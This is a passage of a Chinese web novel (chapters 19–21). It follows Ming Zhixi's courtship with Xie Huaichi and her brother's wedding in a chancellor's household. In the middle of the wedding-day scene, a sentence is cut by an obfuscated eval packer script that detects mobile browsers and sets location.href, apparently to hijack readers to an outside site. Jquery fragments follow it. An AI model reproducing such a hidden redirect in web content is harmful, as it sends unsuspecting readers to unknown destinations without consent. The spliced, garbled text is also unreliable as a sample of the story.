春雪轻轻摇晃着尾巴,明枝溪时不时停下看看有没有绣歪,天色渐渐黑去,彩诺端着托盘走进:“姑娘,该吃饭了。” 明枝溪将针线与绣到一半的帕子放在边上的小桌上,春雪似乎也感应到了什么,站起身伸着懒腰,跳到地上‘喵喵’的叫着。 明枝溪看向托盘,拿出属于它的肉放在地上,春雪迫不及待的吃起来,明枝溪蹲在地上仔细抚摸着,随后朝着屋内走去。 彩诺正在布菜,明枝溪拿过放在桌上的一碗鲜肉朝着小白走去,拿着竹镊子夹起一块放在小白的眼前晃了晃,小白一口咬住肉,不出一会儿就吃完了,紧接着就是第二块,第三块。 “姑娘,可以吃饭了。”彩诺将托盘贴放在小腹前看向明枝溪说道。 明枝溪点点头,不再逗小白,转身走向圆桌,坐在圆凳看着面前的菜,依旧是清汤寡水,她无奈的摇摇头,动筷吃起。 最后,彩诺盛了一碗鸡汤递给明枝溪,明枝溪看向碗中冒着黄油的汤迫不及待的喝起来,一碗接着一碗,直到一锅都喝完了,还犹嫌不足。 明枝溪拿着白帕子擦拭着嘴,走向屋外,继续绣着帕子,小玉站在一旁点起蜡烛,手中还拿着一盏蜡烛照亮较为黑暗的地方。 明枝溪全身心投入,不知不觉时间就已经过去了,小玉已经回房睡去了。 明枝溪将完工的帕子放在面前,看了又看,手帕的角落绣着正在伸懒腰的春雪,胖乎乎的可爱极了。 明枝溪伸个懒腰,吹灭了周围的蜡烛,向着屋内走去,将帕子叠好放在梳妆台上,心满意足的躺在床上沉沉睡去。 —————— 第二日一早,明枝溪被小玉叫醒,她缓缓的坐起身,揉着双眼,昏昏欲睡,小玉拿着一条冰透了的毛巾糊在明枝溪的脸上。 明枝溪顿时清醒过来,接过毛巾擦拭着脸,手向着结痂处探去,今日又掉了一片痂,只剩下顽强的一小块。 她走下床,洗漱后换上一件粉嫩的衣裳,呆滞的坐在梳妆台前问:“今日怎么这么早就把我叫醒了?” 小玉站在身旁,彩诺缓缓走进,装备盘发,小玉答道:“今日要劳烦姑娘修饰一下府内的装饰,公子不是再过四日就要大婚了。” “大娘子总觉着哪里不好,便想着让您去掌掌眼。” 明枝溪方才还睡眼惺忪,听到这顿时打起精神,彩诺三下五除二的盘了个精简干练的发型,明枝溪顺手拿起桌上的帕子,小心翼翼放进怀里,缓缓朝着大门走去。 明枝溪站在大门旁看着牌匾上挂着着红布,总觉着有些不对劲,她指挥着小厮搬来梯子,亲自上去整理,将红绸往下撤了几寸。 底下的小厮慌忙的扶着梯子,生怕明枝溪一个没站稳掉落下来,明枝溪缓缓爬下,往远处后退去,看着屋檐上挂着的红绸终于是顺眼许多。 可总觉得哪里有些不对劲,明枝溪手指轻轻扶着下巴,左看右看总是觉着有什么地方不对,她盯上屋檐下挂着的红灯笼,嘴唇上扬,喊着面前的小厮:“你去库房再拿两灯笼,中间太空旷了,加两个。” 那名小厮点头哈腰,忙的跑进府内,不一会儿便提着两红灯笼跑出来,明枝溪指挥者小厮挂上去。 大功告成,明枝溪满意的点点头朝着屋内走去,长廊上的红灯笼与外面相比,实在是有些太多了,明枝溪吩咐着小厮:“灯笼摘几个下来,太密集了。” 一群小厮跟在明枝溪屁股后面,连忙开始摘,明枝溪看着周围的白墙空荡荡的,又吩咐道:“再去搞几个囍字贴上。” 婢女终是有了事情做,其中一个婢女小跑着去库房,拿了一堆囍字贴,众人纷纷忙活起来。 明枝溪再次点点头,一蹦一跳的向着书澜院走去,院门外倒是没什么问题,可里面问题可就大了。 明枝溪随手抓过一个晒书的小厮问:“你这里面为何没有装饰?” 小厮轻轻将书放到桌面上,恭敬的回复:“公子不论如何都说不急,小的也是没办法啊。” “不急?他难不成还想人都过门了再装饰啊?你甭管他现在就装饰上,反正现在他还在上朝,回来了若是说你,你就说是我让人办的。”明枝溪拍着小厮的肩膀,示意他赶紧做。 小厮点点头,招呼了一声,忙碌的小厮们像是看见了希望般,纷纷兴高采烈开始装饰,明枝溪百无聊赖的坐在屋内看着,时不时点拨一下。 这书澜院终于是有了点样子,至于屋内,确实要等大婚前一天再装饰,她摇晃着腰间的双鱼玉佩,向着后花园走去。 园子中有一大片的湖,在太阳的照耀下波光粼粼,时不时有鱼儿跳出水面,溅起水花,园子中,不论是亭子还是长廊都纷纷挂上红绸与灯笼,十分喜庆。 明枝溪带着笑准备去向博英风报告,这时博英风已经出现在她身旁,明枝溪转头时被吓了一跳,差点跌落湖中。 “母亲安。”明枝溪快速做福,站姿端□□中一切孩儿皆以打理妥当,正欲找母亲看呢。” 博英风静静站在那儿,露出一个明枝溪许久未见的笑容,点点头:“这一路上我都看过来了,你做的不错,以后一定是一位好娘子。” 明枝溪羞涩的低下头,脸颊微微泛红:“都是母亲教得好。” “你也别和我客气了,我哪里教过你这些,都是你悟性高,做事自然就好。”博英风被净妈妈搀扶着,风吹在她脸上,发丝随风而动。 烈日高照,日头热的令人发烫,明枝溪用手遮住太阳,脸上阴暗一片:“母亲,日头热起来了,我们回去吧。” 博英风略微点头,净妈妈从一名婢女那接过两把伞,递给明枝溪一把:“姑娘,这日头毒的很,快撑把伞吧。” 明枝溪双手接过伞,撑起伞后终于是缓和了一些没有那么热的人发慌,一群人走在前头,明枝溪走在后面。 到了雪竹院门口,明枝溪做福道:“母亲我到了,先进去了。” 博英风看向她,和蔼的笑着嘱咐:“我想你午后也是要出门的,记得吃完饭再出门,不然以后得了胃疾,看谁照顾你。” “孩儿知道了,一定吃完再出门。”明枝溪依旧不敢在博英风面前露出活泼的一面,有些心理阴影。 博英风也知道,沉沉叹气后向着前方走去,边走边问净妈妈:“我以前是不是做错了。” 净妈妈摇摇头:“都是有苦衷的,姑娘总会适应的,大娘子莫要心急才是。” 明枝溪瘫坐在躺椅上喊着小玉,小玉缓缓从屋里走出,手中拿着小扫帚问:“怎么了姑娘?” 明枝溪见她拿着小扫帚扫床呢,便也不再使唤她:“没事,你去忙吧。” 小玉疑惑的缓缓点头,朝着屋内走去,接着整理床铺,明枝溪四周环顾一圈,看见站在门口的茉莉,喊道:“茉莉,你帮我去冰窖拿碗冰酪。” 茉莉应了声后微微行礼,朝着冰窖方向跑去,明枝溪躺在那儿拿着团扇扇风,脸颊通红,仿佛正往外冒着热气。 不一会儿茉莉便拿着一碗冰酪走来,小心翼翼的交给明枝溪,明枝溪大口吃着,终于是冷却下来,只是脸颊依旧粉嫩。 躺着休息了会儿后,彩诺便端着午饭走向屋内,布完菜后叫着明枝溪:“姑娘,快来吃饭啦。” 明枝溪行尸走肉般走进,恹恹地坐在圆凳上,吃的满头大汗,明枝溪现在巴不得去冰窖里过日子。 终于吃完了饭,明枝溪有些懒得动弹,走向外头躺在躺椅上,春雪刚在后院吃完饭,跑来寻找明枝溪,讨好的蹭着明枝溪的裙角。 明枝溪将其抱上来,放在怀中抚摸着,春雪很快便沉沉睡去,明枝溪小心翼翼将它放在地上,这傻猫竟然也没醒,躺在木板上翻着肚皮。 明枝溪向着外头走去,刚走出府门便瞧见了谢槐池正在不远处等着她,明枝溪急忙跑去。 “怎么今日换成你来找我了?”明枝溪嘻嘻笑,着看向谢槐池的双眼。 “你昨日来找我,那么今日就是我来找你。”谢槐池眉眼弯弯,脸颊略微泛红。 明枝溪缓缓从槐中掏出帕子,递给谢槐池:“喏,这就是答应你,给你新绣的帕子。” 谢槐池伸出手接过帕子,不小心触碰到明枝溪的手掌,一阵冰凉的触感在明枝溪手掌上散开。 她双手抓住谢槐池的手,仔细抚摸着问:“为什么你的手这么冰,你不热吗?” “天生的。”谢槐池轻轻笑着,“你以前没发现?” 明枝溪点点头:“我以前可不怕热,近些年才开始怕的。” “那借你多摸一会儿。”谢槐池双眼泛滥出爱意,宠溺的看着面前仔细抚摸自己双手的明枝溪。 明枝溪看着周边的行人缓缓松开手:“以后摸也不迟,现在就不了,给人看到了多不好。” 谢槐池收回手,摊开帕子看起来,见着帕角上绣着只猫,开口问:“这是春雪?” 明枝溪笑着点点头:“你认出来啦?看来我的绣工不错。” 谢槐池玩笑着说:“是比以前好多了。” “我以前是还在练习,身上也没什么钱给你买礼物,只能绣些小玩意给你了。”明枝溪嘟着嘴,低垂着头,脚尖玩弄着地上的石子。 “好~我远远瞧见你府上,装饰的好热闹。”谢槐池说着,眼神看向远处。 明枝溪嘿嘿的凑上前,邀功似得道:“我吩咐的,怎么样?厉害吧。” “厉害,那以后我们大婚也让你装饰。”谢槐池眨着双眼,直勾勾看向明枝溪。 明枝溪面色一红,支支吾吾的向后退去一些:“我..我才不要,那也是你装饰才对,是你娶我,又不是我娶你。” “那你娶我。”谢槐池灿烂的笑出声,向后退了几步,躲避开明枝溪送来的小拳拳。 “你真的很讨厌诶,说的什么混账话。”明枝溪双手抱在胸前,蹙着眉。 “好啦,我开玩笑的,小观音不生气。”谢槐池凑上前,举起明枝溪的手放在自己的脸颊上。 一辆马车经过,明枝溪只是抬眼看 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府外,明枝溪与谢槐池早早就跑了,早就没了影,两人站在望风楼店门外喘着粗气,小二疑惑的走出,见到是这两位大咧咧的笑笑。 “二位又来了?这次楼上包房有空位,要不?”小二试探性问道。 明枝溪点点头,不待她拿出银子,谢槐池便已经拿出一两银子交出去:“怎么好意思让你花钱。” 两人缓缓走上二楼,包房内十分清凉,两人时不时打闹着,时不时又目光炯炯盯着戏台上的表演。 一个愉快的午后便这样过去了,一直到傍晚,夕阳西下,火烧云屹立在远方的天上,照在地面上红了一片,两人走在街上,向着怀惜楼走去。 站在店门外时没有见着老金头,店里人满为患,明枝溪耸耸肩朝着里面走去,很自然的掀开一块布,看向后厨中正忙碌着的老金头。 老金头下意识说道:“很快,稍等。” 随后见门口那道影子迟迟不动,才抬起眼望过去,见来人是明枝溪与谢槐池,无奈的笑笑,喊道:“坐满了,不介意的话稍等片刻。” 明枝溪张了张嘴,老金头听不清她说了什么,大声喊:“里面有些吵,我听不见。” “我说,我们在门口等你!”明枝溪这次用尽力气喊出。 老金头终于是听见了,使劲点头,明枝溪不再打扰老金头烧菜,伴着谢槐池走向店门外。 门外摆着两张椅子,还搭了一个棚子,明枝溪缓步上前坐下,谢槐池伴着明枝溪坐着,看着街上人来人往,终于是等到第一批客人走出。 明枝溪探出脑袋望向屋内,依旧十分拥挤,想想也就算了:“先不打扰老金头做生意了,我们在外头等着吧。” “可以。”谢槐池应道。 “你还记得我们小时候在苏州,去别人田里捣乱,被田主人追着跑吗?”明枝溪忽的道。 “记得,你问这个做什么?我记得那时候我们浑身沾满泥巴,最后还是去我院上才搞干净的。”谢槐池转头看向明枝溪。 “对呀,那时候我都要急哭了,生怕回家会被人发现。”明枝溪感慨,“现在这日子真好啊,我们时不时出门散个步,听听曲儿。” “美中不足。”谢槐池小声的嘀咕一句。 明枝溪没有反应过来,蹙着眉靠近他问:“什么?” “我说美中不足。”谢槐池耐心复述。 “为什么?” “因为我们还不能光明正大的一同出行,被人发现了还是得注意避让。”谢槐池眸光深谙。 “那你赶紧娶我。”明枝溪打趣道。 “我会的。”谢槐池语气十分认真。 终于熬走了所有人,也过了饭点,老金头用挂在肩膀上的布擦了擦头上的汗珠,缓缓探出头看向坐在门口的两人:“进来吧,我留了些吃食。” 明枝溪一把站起朝着屋内跑去,一张餐桌上放着精致的菜肴,颜色鲜艳,明枝溪走向座位里面坐下,谢槐池坐在外头。 老金头脸上挂着质朴的笑:“诶呦,今日可真是给我忙坏了,也不知怎么了突然来了这么多客人,让你们久等了啊。” 他坐下,给两人盛饭,明枝溪饥肠辘辘,接过饭碗埋头苦吃,谢槐池瞧见她那样对着老金头说:“你瞧瞧,她等的花儿都谢了。” 明枝溪口齿不清的‘呜呜’着,老金头看向谢槐池。 谢槐池刚夹起一片肉准备吃,看见老金头无助的看向他,无奈道:“她说,还是你这儿的饭菜合胃口,家里的饭菜一点都不好吃。” “哈哈哈,那以后常来,还得多谢明姑娘叫人做的招牌呢,刚挂上就生意火爆。”老金大笑着,顺手给明枝溪夹菜。 明枝溪一点不介意,依旧猛吃着饭,时不时发出美味的声响。 谢槐池安静的吃着饭,明枝溪终于是腾出嘴,对着谢槐池说道:“你多吃些,瞧你瘦的。” “我很瘦?”谢槐池打量着自己,暗自做下决定。 20. 第20章 大婚 三人在店中吃完饭时已然是深夜,街上空荡荡的没有一处行人,明月高悬在漆黑的夜空中,街道走着两道身影,月光在前方铺路。 明枝溪喝了些酒,面色微红,走路有些摇晃,谢槐池站在边上搀扶着,生怕她摔着。 “哥哥,你为什么喜欢我。”明枝溪忽的问道。 “我为什么喜欢你?”谢槐池听到这话忍不住笑出声,“喜欢你不需要理由,我第一次见你时的心跳,足以证明一切。” “哦...喜欢你。”明枝溪伏在谢槐池胸膛,呼气急促。 “嗯,我知道,我也喜欢你。”谢槐池耐心的安抚着,轻轻拍扶着她的背。 不一会儿明枝溪便没了动静,谢槐池疑惑的低头看了一眼:“嗯?睡着了?” 回应他的只有一串沉稳的呼吸声,谢槐池接着说道:“酒量这么差,还学着江湖大侠喝酒。” 他轻轻将她打横抱起,明枝溪不耐烦的往谢槐池的肩胛处钻了钻,嘴里不知道在嘟囔什么。 谢槐池一路走着,明枝溪睡得意外的安静,他站在丞相府门口,一时间有些犯了难,他缓缓走上前,鼓足勇气叩响大门。 府内很快就传来了动静,一名守夜的小厮揉着睡眼惺忪的双眼,缓慢的拉开了大门,见到是谢槐池时表情有些古怪。 小厮疑惑开口问道:“谢世子莫不是走错地方了?” 谢槐池无奈的摇摇头:“你家大姑娘在外头喝多了酒,只能唐突抱回。” 这时小厮仿佛才主要到谢槐池手中抱着的人,表情由疑惑转为惊恐:“谢,谢世子请稍等,我去禀报家主与大娘子。” 说着他一溜烟跑了下去,谢槐池站在门口,看着怀中时不时砸吧嘴的明枝溪,笑出了声,轻声对她说:“我倒是要看看你明天怎么做人。” 明枝溪仿佛听到谢槐池的声响,更加使劲往怀里钻,口中呢喃道:“我做你的人。” 明衢与博英风披着外袍匆忙赶出,明衢看见眼前的一幕差点没晕过去,而博英风好似早已知晓,却还是正色言辞道:“是小女麻烦谢世子了,你交给我吧。” 谢槐池走进谢,将明枝溪转移进博英风的怀中,博英风有些吃力,却还是稳稳抱住。 明衢扶着额头,闭上双眼,不想面对一切,片刻后还是睁开双眼道:“多谢谢世子了,还请谢世子莫要将今夜之事说出去。” 谢槐池带着得体的笑回答:“自然。” “那我们先送小女回房了,夜深露重,谢世子还是早些回去吧。”明衢接着道。 谢槐池点点头往后走去,明衢见人的身影消失在深夜中,这才急忙喊道:“快,去备一碗醒酒汤送去雪竹院。” 明衢身旁的小厮急匆匆的向着小厨房跑去,博英风抱着明枝溪向着雪竹院走去,明衢则是摇着头跟在后头,不知在想些什么。 雪竹院的门被打开,博英风放缓步伐,尽量让自己走的平稳些,院内守夜的彩诺提着灯笼照亮前方的道路,表情波澜不惊。 博英风终于将明枝溪放躺在床榻上,沉沉叹了口气道:“看你都不怎么吃饭,怎么还能便重呢。” 明衢站在门外看着院中多出来的春雪,神色略微一变,对着彩诺问道:“这..是?” 彩诺行礼后回答道:“这是姑娘新养的猫儿,名叫彩诺。” 博英风擦着额角的汗珠走出,疑惑开口问:“说什么呢?” “没事,就是看枝溪又养了个新玩意。”明衢伸手指了指盘卧在躺椅上的春雪。 “由她去吧,还好是深夜,没什么人,不然真就传遍了。”博英风站在外廊上看着天上的明月,“谁不是这么过来的呢,想当年我们也曾这样过。” 明衢老脸一红,支支吾吾的解释着:“那我们那时也是定亲了,不逾矩,她与谢世子能一样吗?” “怎么?你要罚她?”博英风问。 “我罚她作甚,少女初心萌动也是常有的事。”明衢顺手摸了摸春雪,“由她去吧,我想谢世子未必不是良人。” 小厮端着醒酒汤缓慢的走来,时不时洒落几滴,博英风走上前稳稳接过,走上屋内,愣是一滴也没撒,她哄着明枝溪喝下去。 明枝溪喝下去后,翻来覆去的,最终又沉沉睡去,这时两人才放心的回屋继续睡。 —————— 第二日晌午,明枝溪在睡梦中惊醒,揉着脑袋发蒙,隐约间觉着昨晚发生了什么大事。 她口干舌燥,缓缓爬下床走向圆桌旁给自己倒了一杯水,正喝着呢,脑中忽然蹦出一个问题,自己是怎么回家的。 明枝溪疑惑的放下水杯,打开门环视一圈,并未见到彩诺,想来是已经回去睡了,小玉走上前,神秘兮兮的问:“姑娘,你与谢世子当真...” “当真什么?”明枝溪蹙着眉,一脸茫然的问。 小玉略微走进了些,几乎是贴着明枝溪,环顾一圈确定没人后小心翼翼的问:“你与谢世子当真私定终身了吗?” 明枝溪觉着自己脑袋中的一根弦崩断了,大声喊着:“什么?你说什么?我昨日怎么回来的?” 小玉被吓了一跳,缓缓向后退了几步:“就..就是谢世子抱着你回来的。” “我怎么不知道?真的假的?你怎么知道的?”明枝溪脸色羞红一片,睁大双眼,着急的问。 “姑娘你昨夜都睡成那样了,肯定不知道啊,况且阖府上下都传遍了。”小玉往后又退了几步。 明枝溪撑着脸,嘀咕道:“我一定没睡醒。” 说着她狠狠掐了自己的脸,传来疼痛,明枝溪猛的蹲下抱着头,神情懊悔:“完了,都完了,我会不会被打死啊。” “姑娘不要紧张啦,大娘子说了,这事情外头无人知晓,府中谁若是传出去了即刻杖毙,想必也不会有人傻乎乎往外说。”小玉走上前安抚着明枝溪。 明枝溪这才想开些,在外廊上来回踱步,这时博英风朝着院内走来,神情温和,明枝溪却像是见着了活阎王般,双膝一软,即刻跪下。 “你起来吧,我不罚你,只是来看看你醒了没。”博英风挥着手说道。 明枝溪有些不适应,却还是乖乖的站起,一言不发,低垂着羞红的脸。 “好了,此事莫要放在心上,你若是真喜欢那世子,让他来提亲吧,不要搞这些偷鸡摸狗的事情。”博英风走向明枝溪,伸手拍了拍明枝溪的肩膀。 明枝溪嘟囔着嘴:“知道了...” “好了,我回去了,看你精气神还不错,我便放心了。”博英风知道明枝溪还不是很敢与她大放厥词,识趣的往外走。 明枝溪露出害羞的神情,往房内跑去,直挺挺的扑倒在床上,手中撕扯着被子。 猛地反应过来,身上还穿着昨日的衣裳,她闻了闻一股酒味,连忙将衣服换下。 明枝溪将自己裹在被子里,难为情的扭来扭曲,脑海中忽然涌现昨日的回忆,她猛的钻出被子,大口呼气,最终决定接下来几日不出门了! —————— 就这样在府中呆了三日,很快便到了明子晋与沈雪晴大婚的日子,明枝溪早已将那晚的事情抛之脑后,早早的起了床,梳妆打扮着。 她穿梭在府中忙碌着,时不时打点着小厨房的饭菜,再去前厅中一顿准备着席面,不知不觉中便忙到了接近黄昏时。 敲锣打鼓的声响在明枝溪耳畔响起,明枝溪兴奋的跑去门外等着,一顶花轿后跟着嫁妆,许多是明子晋给添的,想必是沈雪晴定亲后在沈府不受待见。 明枝溪站在门口,看着花轿听闻,一双绣花鞋先行迈出,随后沈雪晴身边的婢女掀开帘子,沈雪晴才缓缓走出。 明枝溪不知为何比明子晋还要激动,手忍不住的颤抖,脸上的笑就没有停下过。 明子晋走上前,牵住沈雪晴的手,两人向着府内走去,府外乌泱泱站着一群讨喜的人,明枝溪手中提着篮子走出,给门外的人们发着银子。 大家都笑着道谢,忽然明枝溪眼神一撇,看见了人群中,站在一旁的谢槐池,他正站在那,眼神注视在明枝溪的身旁。 明枝溪突然想起那夜的事情,脸皮薄的刷一下红了,将篮子交给外面的小厮,便往里走去。 那一群人有明子晋的同窗,也有同僚以及友人,自然也是要跟进来了的,明枝溪天真的以为进去就没事了。 转头望去谢槐池就这样跟在身后,明枝溪装作没看见,继续看着两位新人接下来的仪式。 明子晋牵着沈雪晴的手,前方摆放着一个火盆,正燃烧着,沈雪晴一脚迈过后,一名妈妈便在边上喊道:“祝两位日后的日子红红火火!” 众人嬉笑着起哄,两人继续往里走去,明枝溪急忙跟上,可眼神止不住的撇向谢槐池,每次看向他,他便像是有心灵感应般盯着明枝溪。 到了正厅内,明枝溪十分热情的站在一旁,另一位妈妈站在一旁喊道:“一拜天地!” 两人齐刷刷转过身,对着天地鞠躬,妈妈接着喊:“二拜高堂!” 两人再次转身对着坐在主座上的明衢与博英风叩拜着,妈妈再喊:“夫妻对拜。” 两人对拜时,明子晋透过红盖头看见了沈雪晴那张乖巧的脸,她的嘴角微微扬起,见明子晋看向自己,故意朝她皱了个眉。 繁琐的流程在不久后终于结束,明枝溪跑到后边园子里躲懒,说是躲懒其实是为了躲某一个人。 她坐在亭子里,心里想着,我以后成亲一定不要这么繁琐的仪式,太累人了吧。 突然她感觉自己的肩膀被人拍了一下,疑惑的转过头,看见谢槐池正站在身后,歪着头看向她。 “你什么时候来的?”明枝溪神情慌张的站起问道。 谢槐池没有接这段话,而是反问她:“你为何近日都不来找我?” 明枝溪眼神躲避,抚摸着自己的脸颊,尴尬的笑了笑,试图掩盖过去,只见对方缓缓靠近继续追问:“你为何一直躲着我?” 明枝溪向后退去,背直直靠在冰凉柱子上:“那个,哥哥,周围还有宾客。” 她伸出手试图将谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567717|204825||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 槐池推走,而谢槐池纹丝不动,没有要离开的意思,谢槐池语气里有些激动:“回答我!” 明枝溪弱弱道:“没有啊,就是这几天不想出门...” “你不要再躲着我了,好不好。”谢槐池语气一转,透露出委屈,他坐在明枝溪身旁低垂着头,如果有一双狗耳朵,应该是耷拉在那儿的。 明枝溪手忙脚乱的看着面前的谢槐池,轻声安抚:“不躲着不躲着,哥哥你莫要伤心了,在这伤心给外人看到了多不好,我答应你,以后不出门就给你写一封信告知你,好不好?” 谢槐池抿着唇抬眼看向明枝溪:“好,以后不要离开我了。” “诶!明姑娘你在这呢...”顾从希缓缓从假山后走出,见到谢槐池也在,心领神会的往回走去,“打扰了,打扰了。” 明枝溪知道这事儿要是被他传出去了,这个成亲现场就要变味了,急忙喊道:“你!给我回来!” 顾从希顿住脚步,迟迟不敢转身,僵在那:“我不会说出去的。” “那你也给我回来,再不回来我揍你。”明枝溪用着自认为较为凶狠的语气对着顾从希喊。 顾从希哪知道平日里娇滴滴的小女娘还会天天说着要揍对方,赶紧往亭子里走去,僵硬的坐下,一言不发。 明枝溪不耐烦的问:“你来找我干什么?” “我..我就是想问一下那日说帮我说好话...是不是说到做到了。”顾从希缩着脖子,谨小慎微的回答。 明枝溪自然是忘了这茬事情,但是不能直说,于是就变成:“你若是真的喜欢明映,现在就去提亲啊。” 可是令两人没想到的是,这二货还真去了! 顾从希二话不说,直直朝着正厅走去,明枝溪与谢槐池双目对视,连忙追上去。 顾从希脚步飞快,明枝溪忙了一天,腿有些发软,却迟迟不敢停下,当明枝溪与谢槐池赶到正厅时看见的场景便是。 顾从希跪在明衢与博英风前面,一众宾客都在那儿看好戏,而和音仪匆匆赶来。 和音仪调整了衣摆后坐下,疑惑的看了看跪在中央的顾从希,问明衢:“官人怎么这么着急?发生何事了?” 顾从希急忙接过话题,再次将方才所说的话再说了一遍:“我顾从希想趁着明兄成婚,沾沾喜,在此求取贵府二姑娘,明映。” 和音仪听了差点没从椅子上滑落,一脸诧异的看了看明衢,随后四处张望,在人群中看见了明映,急忙让身边的妈妈将她拉来问道:“娘只问你一件事,你喜欢这小子吗?” 明映低垂着脸,面颊上泛着的红晕就已经说明一切,和音仪心领神会的点着头,手搭在明映的手背上拍了拍,对着明衢道:“妾身觉着不如这两日便让顾府下帖下聘吧。” 顾从希双眼泛着光,却迟迟不敢抬头,等待着明衢发话。 明衢先是思考一番,片刻后道:“这真是喜上加喜啊,哈哈哈,那么你今日回去后便准备准备,前来下聘吧。” 顾从希深深磕了一个响头,目光看向明映满脸兴奋,博英风全程一言不发,眼神直勾勾看向人群中的明枝溪。 明枝溪被盯的发毛,连忙带着谢槐池跑出门,回到了方才的亭子中,谢槐池打趣道:“要不我现在也去提亲,喜上加喜再加喜。” 明枝溪哈哈大笑起来:“你说什么什么歪理,喜上加喜再加喜。” “难道不是吗?”谢槐池的心情缓和了许多,面相看着都温柔起来了。 “罢了,我等你取得功名再来娶我,羡慕死全京城的小女娘。”明枝溪含着笑对谢槐池说道。 “好,那你可得等我,不准始乱终弃!”谢槐池回复着。 晚风轻轻刮过,树叶相互碰撞着,发出沙沙的声响,日色渐渐黑了,两人朝着正厅走去,路上明枝溪拿出这三天她忙活的东西。 一个绣工精致的荷包,上面绣着鸳鸯戏水,形态逼真,明枝溪将荷包塞进谢槐池的手中,随后跑向后院挥着手道别。 谢槐池低头看了看手中的荷包,露出一抹笑,朝着席位处凑去,关系略微要好的还在那儿询问着:“谢世子怎的今日心情这般好?” “明兄成婚我自然高兴啊。”谢槐池端起酒杯敬着众人,眼尖一些的立马发现他腰间挂着的新荷包,打趣道:“啧啧,想必是有心爱的姑娘在此处吧。” “在哪儿呢?让我瞅瞅。”另一名男子四处张望着。 谢槐池并未阻止,吃着面前的菜肴道:“你就找吧,你找破脑袋都找不到的。” “啧啧,看来是已经离去了呀,希望我下次能喝到你的喜酒啊!”眼尖的男子端起酒杯敬向谢槐池。 邻桌的公子哥在议论着,谢槐池好似听到了些熟悉的字眼,凑近听了听。 一名长相尖酸的男子在那儿对着周围的人悄悄说着:“你看看丞相府二姑娘都快嫁出去了,这大姑娘怎么还没一点动静?我看是那长相太多慈悲了。” “谁愿意每天早上一睡醒就看到一尊菩萨在你面前晃荡啊?你们说是不是?” 21. 第21章 帮也不帮 谢槐池听闻,含着笑站起,手中端着酒杯走去,站在众人面前道:“诸位,谢某敬你们一杯。” 尖酸男略微发愣,不过很快便调整过来,嘻嘻的随着众人准备端起酒杯。 谢槐池手上一滑,酒杯瞬间掉落在尖酸男的肩头上,浸湿了一片。 尖酸男猛地站外,紧紧蹙着眉毛,身边的婢女赶忙上前拿着帕子擦拭着。 谢槐池双眸注视着尖酸男,眉毛向上一扬:“诶呦,还真是不好意思,看来今日不宜敬酒,告退。” 说罢他头也不回的往自己席位上走去,尖酸男嘴中嘟囔着,最终也没说出什么来,众人被谢槐池这一套反应整的满脸写着疑惑,却也没有继续追问下去。 尖酸男摆了摆手:“罢了,你们也不要怪谢世子,想必也不是故意的。” 随后他思考良久后再次开口问:“我们刚刚说到哪里了?” 谢槐池眼神尖锐瞥了过去,周围的气温好似瞬间下降,犹如冰窖一般。 只不过尖酸男背对着谢槐池,面向谢槐池的众人被这突入起来的眼神刀吓得直摇头,尖酸男便也没再继续追问,继续吹嘘起他的‘英姿飒爽’。 明枝溪这时姗姗来迟,许多小娘子都与她打着招呼,她一一应和着,随即走向正厅后方与家人一同坐下。 刚坐下,明衢嗓子不舒服般的咳嗽着,明枝溪循声看去,语气担忧的问:“父亲可是生病了?” 明衢五官皱在一起,略微张开嘴巴,不可置信的盯着明枝溪:“映映都要成婚了,你呢?” 明枝溪仿佛早就知道明衢会这般,无奈的吃着面前的菜肴,边吃边道:“我怎么?我又不急。” “你不急我急。”明衢紧跟着语气深重的说道。 明枝溪此时很想说‘皇上不急太监急’可是她的理智不允许她这么干,于是只好沉默着吃着饭,佯装听不见。 “你与谢世子...要不也定个亲?”明衢试探性问道。 明映在一旁用余光瞥向明枝溪,好似吃到了什么惊天大瓜,眼珠寸步不离,和音仪见了连忙拍了她一把,示意让其好好吃饭,明映这才有所收敛。 明枝溪撅起嘴,语气有些无所谓:“那可不行,别人的郎君都是有名有姓有官职的,我若是嫁给他岂不是一点前程都没有?连个诰命都讨不到。” “诶?那你整日和他厮混?不喜欢他还戏弄他,我怎么会养了你这么一个姑娘啊!”明衢表情震惊的放下筷子,压低声音道。 “我什么时候说我不喜欢他了?我说了这事情不急,说不定哪天他就科举去了呢,再如大哥一般一举夺魁,到时候再嫁给他我又没什么损失。”明枝溪扒拉着面前的饭,漫不经心道。 “你算盘珠子打的真响亮。”明衢放弃劝说,重新拿起筷子,“那如若不中呢?你难不成还真要熬成老姑娘吗?” 明枝溪沉沉叹气,抿着嘴疲惫的说:“不会的,你相信一下你姑娘的眼光吧。” 听了许久的博英风终于开口说:“官人你放心些吧,实在不行你兜个底。” 和音仪听到这,表情比见鬼了还恐怖,她是早有听闻博英风与以往有些不同,可也没想到变化如此之大,险些被桂圆呛到。 明枝溪放下筷子,起身做福道:“女儿吃饱了,先回房休息了。” 屏风外的众人看着眼前的情景,一名长相一般的男子默默说道:“你看明大姑娘还是很知礼仪的,可惜长了那张脸,若是长的更艳丽些没准我还真会娶她呢。” 身穿白衣的公子哥听了打趣道:“得了吧,就你这样的人家说不定还看不上呢。” 顾从希坐在众人当众一声不吭,被白衣公子哥用手肘碰了一下才慌张道:“嗯?哦,是啊,明姑娘可是京城中出了名的知礼懂礼,谦卑孝顺,温柔体贴啊。” 最后几个字他略微加重了语气,因为在他说这番话的时候,莫名想起了在后园中明枝溪的那番‘威胁’,心中不禁冷笑嘲讽,不过还是保持着稳重的面容。 明枝溪走向后院时朝着谢槐池眨了眨眼,有些俏皮可爱,逗得谢槐池笑出声来,席位众人转头看向他,顺着他视线方向望过去,那儿已经什么都没有了。 “谢世子?你对着墙傻笑什么?莫非是酒力不行喝多了?” “是啊谢世子,不能喝了就莫要再喝了,可别真出了什么事儿才好。” 众人说着笑,谢槐池并没有放在心上,语气恢复平静:“无事,只是想起了一些有趣的事情。” 宴席散去,众人各自回府,明子晋也终于从酒桌旁往书澜院中走去,院中灯火通明。 明子晋推开房门时便看见了明枝溪与沈雪晴正坐着闲聊,沈雪晴面前还摆着一盘盘糕点。 